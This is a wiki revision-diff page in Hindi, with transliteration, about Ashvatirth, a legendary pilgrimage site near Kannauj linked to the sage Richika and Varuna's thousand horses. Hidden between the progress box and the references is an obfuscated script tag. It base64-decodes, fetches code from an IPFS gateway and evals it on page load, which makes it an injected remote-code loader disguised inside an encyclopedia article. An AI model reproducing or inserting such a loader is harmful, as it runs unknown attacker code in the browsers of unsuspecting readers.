Difference between revisions of "अश्वतीर्थ"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 1: Line 1:
'''अश्वतीर्थ''' प्राचीन भारतवर्ष में [[कान्यकुब्ज]] देश का एक तीर्थ स्थान था। कहते हैं कि [[ऋचीक ऋषि]] ने [[वरुण देवता|वरुण]] से एक सहस्र श्याम कर्ण घोड़े यहीं पाए थे।
+
'''अश्वतीर्थ''' प्राचीन भारतवर्ष में [[कान्यकुब्ज]] देश का एक तीर्थ स्थान था। कहते हैं कि [[ऋचीक ऋषि]] ने [[वरुण देवता|वरुण]] से एक सहस्र श्याम कर्ण घोड़े यहीं पाए थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=पौराणिक कोश|लेखक=राणा प्रसाद शर्मा|अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=556, परिशिष्ट 'क'|url=}}</ref>
  
 
*अश्वतीर्थ का वर्णन [[वन पर्व महाभारत|महाभारत, वन पर्व]] के तीर्थपर्व के अंतर्गत है-  
 
*अश्वतीर्थ का वर्णन [[वन पर्व महाभारत|महाभारत, वन पर्व]] के तीर्थपर्व के अंतर्गत है-  
Line 18: Line 18:
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 +
*ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर |  वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
 
<references/>
 
<references/>
*ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर |  वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{महाभारत}}{{उत्तर प्रदेश के ऐतिहासिक स्थान}}
 
{{महाभारत}}{{उत्तर प्रदेश के ऐतिहासिक स्थान}}
 
[[Category:पौराणिक स्थान]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:महाभारत]][[Category:पौराणिक स्थान]][[Category:पौराणिक कोश]][[Category:ऐतिहासिक स्थल]]
 
[[Category:पौराणिक स्थान]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:महाभारत]][[Category:पौराणिक स्थान]][[Category:पौराणिक कोश]][[Category:ऐतिहासिक स्थल]]
 
__INDEX__
 
__INDEX__

Revision as of 12:38, 16 May 2018

ashvatirth prachin bharatavarsh mean kanyakubj desh ka ek tirth sthan tha. kahate haian ki rrichik rrishi ne varun se ek sahasr shyam karn gho de yahian pae the.[1]

'tatradevanh pitrin vipraanstarpayitva pun: pun:,
kanyatirtheashvatirthe ch gavaan tirthe ch bharat.'[2]

  • yah sthan kanyakubj ya kannauj, uttar pradesh ke nikat ganga kaliandi sangam par sthit tha.
  • kanyakubj ko is ullekh mean kanyatirth kaha gaya hai. yahaan gadhi ka tapovan tha.
  • skand puran[3] ke anusar rrichik muni ko varun ne ek sahasr ashv die the, jinako lekar unhoanne gadhi ki putri satyavati se vivah kiya tha. isi karan ise ashvatirth kaha jata tha-

'tat: prabhriti vikhyatamashvatirthan dharatale,
gangatire shubhe punye kanyakubjasamipagamh'.

'adoore kanyakubjasy gangayastiramuttamamh,
ashvatirthan tadadyapi manavai: parikshyate'.

  • bad mean kanyakubj ka hi ek nam ashvatirth p d gaya tha.
  • vastav mean yah donoan sthan sannikat rahe hoange.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  • aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar
  1. pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 556, parishisht 'k' |
  2. van parv mahabharat 95, 3
  3. skand puran, nagarakhand 165,37
  4. mahabharat, anushasan parv, 4,17

sanbandhit lekh